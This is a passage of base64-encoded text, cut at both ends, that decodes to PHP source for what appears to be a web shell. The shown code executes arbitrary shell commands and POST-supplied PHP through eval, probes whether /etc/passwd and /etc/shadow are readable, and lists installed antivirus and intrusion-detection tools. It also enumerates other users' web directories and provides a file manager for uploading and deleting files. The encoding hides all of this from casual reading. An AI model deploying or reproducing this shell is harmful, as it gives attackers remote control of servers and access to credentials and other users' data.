oJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpKSB7DQogICAgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9DQoNCmZ1bmN0aW9uIEJPRkZFeCgkaW4pIHsNCgkkb3V0ID0gJyc7DQoJaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQoJCUBleGVjKCRpbiwkb3V0KTsNCgkJJG91dCA9IEBqb2luKCJcbiIsJG91dCk7DQoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0KCQlvYl9zdGFydCgpOw0KCQlAcGFzc3RocnUoJGluKTsNCgkJJG91dCA9IG9iX2dldF9jbGVhbigpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCUBzeXN0ZW0oJGluKTsNCgkJJG91dCA9IG9iX2dldF9jbGVhbigpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KCQkkb3V0ID0gc2hlbGxfZXhlYygkaW4pOw0KCX0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsNCgkJJG91dCA9ICIiOw0KCQl3aGlsZSghQGZlb2YoJGYpKQ0KCQkJJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsNCgkJcGNsb3NlKCRmKTsNCgl9DQoJcmV0dXJuICRvdXQ7DQp9DQpmdW5jdGlvbiBCT0ZGVmlld1NpemUoJHMpIHsNCglpZigkcyA+PSAxMDczNzQxODI0KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7DQoJZWxzZWlmKCRzID49IDEwNDg1NzYpDQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7DQoJZWxzZWlmKCRzID49IDEwMjQpDQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7DQoJZWxzZQ0KCQlyZXR1cm4gJHMgLiAnIEInOw0KfQ0KDQpmdW5jdGlvbiBCT0ZGUGVybXMoJHApIHsNCglpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7DQoJZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsNCgllbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOw0KCWVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7DQoJZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsNCgllbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOw0KCWVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7DQoJZWxzZSAkaSA9ICd1JzsNCgkkaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KCSRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCglyZXR1cm4gJGk7DQp9DQoNCmZ1bmN0aW9uIEJPRkZQZXJtc0NvbG9yKCRmKSB7DQoJaWYgKCFAaXNfcmVhZGFibGUoJGYpKQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPSM2YjZiNmI+JyAuIEJPRkZQZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQoJZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkNCgkJcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT4nIC4gQk9GRlBlcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCgllbHNlDQoJCXJldHVybiAnPGZvbnQgY29sb3I9IzZiNmI2Yj4nIC4gQk9GRlBlcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCn0NCg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7DQoJZnVuY3Rpb24gc2NhbmRpcigkZGlyKSB7DQoJCSRkaCAgPSBvcGVuZGlyKCRkaXIpOw0KCQl3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQ0KICAgIAkJJGZpbGVzW10gPSAkZmlsZW5hbWU7DQoJCXJldHVybiAkZmlsZXM7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBCT0ZGV2hpY2goJHApIHsNCgkkcGF0aCA9IEJPRkZFeCgnd2hpY2ggJyAuICRwKTsNCglpZighZW1wdHkoJHBhdGgpKQ0KCQlyZXR1cm4gJHBhdGg7DQoJcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgew0KCUJPRkZIZWFkZXIoKTsNCgllY2hvICc8aDE+U2VydmVyIFNlY3VyaXR5IEluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCglmdW5jdGlvbiBCT0ZGU2VjUGFyYW0oJG4sICR2KSB7DQoJCSR2ID0gdHJpbSgkdik7DQoJCWlmKCR2KSB7DQoJCQllY2hvICc8c3Bhbj4nIC4gJG4gLiAnOiA8L3NwYW4+JzsNCgkJCWlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKQ0KCQkJCWVjaG8gJHYgLiAnPGJyPic7DQoJCQllbHNlDQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JyAuICR2IC4gJzwvcHJlPic7DQoJCX0NCgl9DQoJDQoJQk9GRlNlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdhcGFjaGVfZ2V0X21vZHVsZXMnKSkNCiAgICAgICAgQk9GRlNlY1BhcmFtKCdMb2FkZWQgQXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxlcygpKSk7DQoJQk9GRlNlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsNCglCT0ZGU2VjUGFyYW0oJ09wZW4gYmFzZSBkaXInLCBAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpOw0KCUJPRkZTZWNQYXJhbSgnU2FmZSBNb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsNCglCT0ZGU2VjUGFyYW0oJ1NhZmUgTW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7DQoJQk9GRlNlY1BhcmFtKCdjVVJMIHN1cHBvcnQnLCBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpPydlbmFibGVkJzonbm8nKTsNCgkkdGVtcD1hcnJheSgpOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpDQoJCSR0ZW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZ2V0X2NsaWVudF9pbmZvKCkuIikiOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQ0KCQkkdGVtcFtdID0gIk1TU1FMIjsNCglpZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkNCgkJJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsNCglpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpDQoJCSR0ZW1wW10gPSAiT3JhY2xlIjsNCglCT0ZGU2VjUGFyYW0oJ1N1cHBvcnRlZCBEYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7DQoJZWNobyAnPGJyPic7DQoJDQoJaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcpIHsNCgkJQk9GRlNlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3Bhc3N3ZCcsIEBpc19yZWFkYWJsZSgnL2V0Yy9wYXNzd2QnKT8iWWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJwYXNzd2RcIiknPlt2aWV3XTwvYT4iOidObycpOw0KCQlCT0ZGU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJZZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCJldGNcIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidObycpOw0KCQlCT0ZGU2VjUGFyYW0oJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7DQoJCUJPRkZTZWNQYXJhbSgnRGlzdHJpYnV0aW9uIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOw0KCQlpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7DQogICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiAgICAgICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvYmxhY2snLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7DQogICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsNCgkJCWVjaG8gJzxicj4nOw0KCQkJJHRlbXA9YXJyYXkoKTsNCgkJCWZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQ0KCQkJCWlmKEJPRkZXaGljaCgkaXRlbSkpDQogICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCgkJCUJPRkZTZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOw0KCQkJJHRlbXA9YXJyYXkoKTsNCgkJCWZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pDQoJCQkJaWYoQk9GRldoaWNoKCRpdGVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOw0KCQkJQk9GRlNlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCgkJCSR0ZW1wPWFycmF5KCk7DQoJCQlmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pIA0KCQkJCWlmKEJPRkZXaGljaCgkaXRlbSkpDQogICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCgkJCUJPRkZTZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCgkJCWVjaG8gJzxici8+JzsNCiAgICAgICAgICAgIEJPRkZTZWNQYXJhbSgnSEREIHNwYWNlJywgQk9GRkV4KCdkZiAtaCcpKTsNCgkJCUJPRkZTZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7DQoJCX0NCgl9IGVsc2Ugew0KCQlCT0ZGU2VjUGFyYW0oJ09TIFZlcnNpb24nLEJPRkZFeCgndmVyJykpOw0KCQlCT0ZGU2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLEJPRkZFeCgnbmV0IGFjY291bnRzJykpOw0KCQlCT0ZGU2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLEJPRkZFeCgnbmV0IHVzZXInKSk7DQoJfQ0KCWVjaG8gJzwvZGl2Pic7DQoJQk9GRkZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25QaHAoKSB7DQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSB0cnVlOw0KCQlvYl9zdGFydCgpOw0KCQlldmFsKCRfUE9TVFsncDEnXSk7DQoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIgLiBhZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7IA0KCX0NCglCT0ZGSGVhZGVyKCk7DQoJaWYoaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddID09ICdpbmZvJykpIHsNCgkJZWNobyAnPGgxPlBIUCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7DQoJCW9iX3N0YXJ0KCk7DQoJCXBocGluZm8oKTsNCgkJJHRtcCA9IG9iX2dldF9jbGVhbigpOw0KICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsNCgkJZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsNCgl9DQoJaWYoZW1wdHkoJF9QT1NUWydhamF4J10pICYmICFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gZmFsc2U7DQogICAgZWNobyAnPGgxPkV4ZWN1dGlvbiBQSFAtY29kZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImlmKHRoaXMuYWpheC5jaGVja2VkKXthKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUpO31lbHNle2coXCdQaHBcJyxudWxsLHRoaXMuY29kZS52YWx1ZSxcJ1wnKTt9cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+Jy4oIWVtcHR5KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9RXZhbCBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPic7DQoJZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPC9mb3JtPjxwcmUgaWQ9UGhwT3V0cHV0IHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9bWwxPic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJb2Jfc3RhcnQoKTsNCgkJZXZhbCgkX1BPU1RbJ3AxJ10pOw0KCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOw0KCX0NCgllY2hvICc8L3ByZT48L2Rpdj4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uUmVhZGFibGUoKSB7DQogICAgcHJpbnRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+UmVhZGFibGUgRGlyczwvaDE+JzsNCiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOw0KICAgICRzbSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KICAgIGlmKCRzbSkgew0KICAgICAgICBlY2hvICc8YnIgLz48Yj5FcnJvcjogc2FmZV9tb2RlID0gb248L2I+PGJyIC8+PGJyIC8+JzsNCiAgICB9IGVsc2Ugew0KICAgICAgICBAJHBhc3N3ZCA9IGZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsNCiAgICAgICAgaWYgKCEkcGFzc3dkKSB7IA0KICAgICAgICAgICAgZWNobyAnPGJyIC8+PGI+Wy1dIEVycm9yIDogY291ZG5gdCByZWFkIC9ldGMvcGFzc3dkPC9iPjxiciAvPjxiciAvPic7IA0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJHB1YiA9IGFycmF5KCk7DQogICAgICAgICAgICAkdXNlcnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgJGNvbmYgPSBhcnJheSgpOw0KICAgICAgICAgICAgJGkgPSAwOw0KICAgICAgICAgICAgd2hpbGUoIWZlb2YoJHBhc3N3ZCkpIHsNCiAgICAgICAgICAgICAgICAkc3RyID0gZmdldHMoJHBhc3N3ZCk7DQogICAgICAgICAgICAgICAgaWYgKCRpID4gMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7DQogICAgICAgICAgICAgICAgICAgICR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7DQogICAgICAgICAgICAgICAgICAgICRkaXJ6ID0gJy9ob21lLycuJHVzZXJuYW1lLicvcHVibGljX2h0bWwvJzsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCgkdXNlcm5hbWUgIT0gJycpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGRpcnopKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRwdWIsJGRpcnopOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8YnI+PGJyPic7DQogICAgICAgICAgICBlY2hvICJbK10gRm91bmRlZCAiLnNpemVvZigkdXNlcnMpLiIgZW50cnlzIGluIC9ldGMvcGFzc3dkXG4iLiI8YnIgLz4iOw0KICAgICAgICAgICAgZWNobyAiWytdIEZvdW5kZWQgIi5zaXplb2YoJHB1YikuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIi4iPGJyIC8+PGJyIC8+PGJyIC8+IjsNCiAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgew0KICAgICAgICAgICAgICAgICRwYXRoID0gIi9ob21lLyR1c2VyL3B1YmxpY19odG1sLyI7DQogICAgICAgICAgICAgICAgZWNobyAkcGF0aC4iPGJyPiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI8YnIgLz48YnIgLz48YnIgLz5bK10gQ29tcGxldGUuLi5cbiIuIjxiciAvPiI7DQogICAgICAgIH0NCiAgICB9DQogICAgZWNobyAnPC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOyAgICANCn0NCg0KZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7DQoJQk9GRkhlYWRlcigpOw0KCWVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c2NyaXB0PnAxXz1wMl89cDNfPSIiOzwvc2NyaXB0Pic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KCQkJY2FzZSAndXBsb2FkRmlsZSc6DQoJCQkJaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpDQoJCQkJCWVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdta2Rpcic6DQoJCQkJaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKQ0KCQkJCQllY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdkZWxldGUnOg0KCQkJCWZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgew0KCQkJCQkkcGF0aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOw0KCQkJCQkkZGggID0gb3BlbmRpcigkcGF0aCk7DQoJCQkJCXdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7DQoJCQkJCQkkaXRlbSA9ICRwYXRoLiRpdGVtOw0KCQkJCQkJaWYgKCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApDQoJCQkJCQkJY29udGludWU7DQoJCQkJCQkkdHlwZSA9IGZpbGV0eXBlKCRpdGVtKTsNCgkJCQkJCWlmICgkdHlwZSA9PSAiZGlyIikNCgkJCQkJCQlkZWxldGVEaXIoJGl0ZW0pOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCUB1bmxpbmsoJGl0ZW0pOw0KCQkJCQl9DQoJCQkJCWNsb3NlZGlyKCRkaCk7DQoJCQkJCUBybWRpcigkcGF0aCk7DQoJCQkJfQ0KCQkJCWlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpDQoJCQkJCWZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQoJCQkJCQkkZiA9IHVybGRlY29kZSgkZik7DQoJCQkJCQlpZihpc19kaXIoJGYpKQ0KCQkJCQkJCWRlbGV0ZURpcigkZik7DQoJCQkJCQllbHNlDQoJCQkJCQkJQHVubGluaygkZik7DQoJCQkJCX0NCgkJCQlicmVhazsNCgkJCWNhc2UgJ3Bhc3RlJzoNCgkJCQlpZigkX1NFU1NJT05bJ2FjdCddID09ICdjb3B5Jykgew0KCQkJCQlmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsNCgkJCQkJCWlmKGlzX2RpcigkYy4kcykpew0KCQkJCQkJCW1rZGlyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRzKTsNCgkJCQkJCQl3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQoJCQkJCQkJCWlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IGVsc2VpZihpc19maWxlKCRjLiRzKSkNCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpDQoJCQkJCQljb3B5X3Bhc3RlKCRfU0VTU0lPTlsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOwkJCQkJDQoJCQkJfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnbW92ZScpIHsNCgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7DQoJCQkJCQlpZihpc19kaXIoJGMuJHMpKXsNCgkJCQkJCQlta2RpcigkZC4kcyk7DQoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7DQoJCQkJCQkJd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSBlbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQ0KCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikNCgkJCQkJCUByZW5hbWUoJF9TRVNTSU9OWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7DQoJCQkJfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnemlwJykgew0KCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9TRVNTSU9OWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihAaXNfZmlsZSgkX1NFU1NJT05bJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRfU0VTU0lPTlsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihAaXNfZGlyKCRfU0VTU0lPTlsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZXJhdG9yID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRmLicvJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOw0KICAgICAgICAgICAg